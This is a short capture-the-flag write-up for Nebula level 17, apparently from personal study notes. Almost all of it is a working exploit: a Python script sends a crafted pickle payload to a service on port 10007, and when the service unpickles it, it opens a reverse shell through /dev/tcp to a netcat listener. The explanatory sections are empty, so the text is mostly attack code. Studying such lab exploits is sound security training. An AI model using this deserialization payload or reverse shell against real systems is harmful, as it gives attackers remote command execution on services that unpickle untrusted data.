Armax's Notes

Nebula - Level 17

How?

# Create a script to send the malicious code.
cat > exploit.py << EOF
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 10007))
payload = b'cposix\nsystem\n(Vsh -i >& /dev/tcp/127.0.0.1/4242 0>&1\ntR.'
s.sendall(payload)
s.close()
EOF

# Start listening.
nc -ln 127.0.0.1 4242

From another shell, send the payload.

python exploit.py

Why?

What?

Ref: https://intoli.com/blog/dangerous-pickles/